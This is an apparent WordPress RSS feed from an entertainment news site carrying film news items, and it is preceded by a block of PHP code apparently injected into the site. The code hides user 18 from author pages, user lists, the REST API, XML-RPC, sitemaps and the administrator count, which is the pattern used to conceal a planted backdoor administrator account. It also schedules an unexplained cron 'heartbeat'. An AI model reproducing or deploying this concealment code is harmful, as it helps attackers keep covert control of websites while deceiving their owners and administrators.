add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Suriya’s ‘Soorarai Pottru’ ,Vidhya Balan’s ‘Sherni’ lead nominations at IFFM Awards 2021. appeared first on The Edge Media.
]]>The nominations for the festival’s annual awards ceremony were unveiled on Thursday. IFFM will recognise Best series, Best Performance in a series each under the Actor and Actress category.
The post Suriya’s ‘Soorarai Pottru’ ,Vidhya Balan’s ‘Sherni’ lead nominations at IFFM Awards 2021. appeared first on The Edge Media.
]]>The post Deepika Padukone reminisces about playing Meera as” Love Aaj Kal” clock 12 years today appeared first on The Edge Media.
]]>The romantic-drama, featuring Saif Ali Khan as the male lead, drew parallels between two love stories – one set in the 1960s and the other in the new millennium. The 35-year-old actor said the time she spent while working on the film still brings a smile on her face.
“I can’t believe it’s been 12 years since ‘Love Aaj Kal’ (released) already! Meera, I believe, was simply beautiful; inside out. A character many related to at the time. Just reminiscing about all those months we spent filming in Delhi and London, brings a smile to my face,” Padukone said in a statement.
Produced by Khan and Dinesh Vijan, the film was well-received by both the critics and the audiences.
In 2020, Ali directed a contemporary take on the film with a similar theme of two love stories – one set in Udaipur in the early 90s and the other in modern-day Delhi. The movie, featuring actors Kartik Aaryan and Sara Ali Khan, received a lukewarm response.
Meanwhile, on the professional front, Deepika will be seen sharing the screen space yet again with Ranveer Singh in Kabir Khan’s ‘’83’, where he essays the role of cricketer Kapil Dev and she would be playing his on-screen wife Romi Dev.
The post Deepika Padukone reminisces about playing Meera as” Love Aaj Kal” clock 12 years today appeared first on The Edge Media.
]]>The post ‘Gunjan Saxena: The Kargil Girl’: IAF Writes to CBFC Adressing The “Undue Negative Potrayal” appeared first on The Edge Media.
]]>The Air Force in its letter to the censor board, and sent to Netflix and Dharma Productions, has stated that as per initial understanding, “Dharma Productions had agreed to represent Indian Air Force with authenticity and make all efforts to ensure that the film helps to inspire the next generation of IAF officers. “However, when the trailer of the movie was released recently, it was observed that “certain scenes and dialogues in the movie and its trailer, which was forwarded to this office for viewing, have been found to portray the IAF in an undue negative light.”
The letter written by the IAF and accessed by ANI, read “In the aim to glorify the screen character of ‘Ex-Fit Lt Gunjan Saxena’, M/s Dharma Productions presented some situations that are misleading and portray an inappropriate work culture especially against women in the IAF.
“The story of the Dharma Productions movie is based on the first Indian Air Force woman pilot who was part of the 1999 Kargil conflict.
Saxena, who is one of the first female pilots to fly in combat, played an important role in rescuing injured soldiers during the Kargil War in 1999 and was awarded the gallantry Shaurya Vir Award for displaying courage during the war.In the communication, the Air Force said that as a service, it has ensured “that the organisation is gender neutral and has always provided an equal opportunity to both male and women personnel.”
IAF has also annexed the summary of the scenes and dialogues of the script, which are considered objectionable due to the presentation of incorrect gender bias with the letter.
The post ‘Gunjan Saxena: The Kargil Girl’: IAF Writes to CBFC Adressing The “Undue Negative Potrayal” appeared first on The Edge Media.
]]>